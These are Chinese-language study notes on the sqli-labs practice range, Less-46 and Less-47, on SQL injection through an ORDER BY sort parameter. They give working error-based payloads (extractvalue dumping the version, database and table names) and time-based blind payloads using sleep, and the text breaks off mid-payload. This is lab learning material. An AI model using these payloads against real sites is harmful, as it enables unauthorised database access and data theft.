sqli-labs靶场笔记(七)
Less-46【报错注入|order by 注入:into outfile】
观察页面发现:输入的sort值为排序的值,通常前缀为order by
观察代码发现,确实如此
判断是否存在注入:【返回不一样,存在注入】
尝试获取属性列数目,确定为3,使用4则报错
法一:【报错注入】
下面展示 payload
。
sort=4 and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security')))%23
法二:【时间盲注】
下面展示payload
。
sort=if(ascii(substr((select database()),1,1))=114,1,sleep(4))%23
若猜测成功,则返回正常页面;否则:
使用burp将database()跑出来需要的时间较长
into outfile
Less-47【'注入|时间盲注|报错注入|order by 注入:into outfile】
判断存在注入
法一:【报错注入】
下面展示 payload
。
sort=1' and extractvalue(1,concat(0x7e,(select version())))%23 //爆版本
sort=1' and extractvalue(1,concat(0x7e,(select database())))%23 //爆库
sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security')))%23 //爆表
法二:【时间盲注】
这里的payload相对于Less-46的时间盲注有点改变,采用burp速度相对更快些
下面展示 payload
。
sort=1' and if(ascii(substr((select%20database()),1,1))=113,sleep(5),1) %2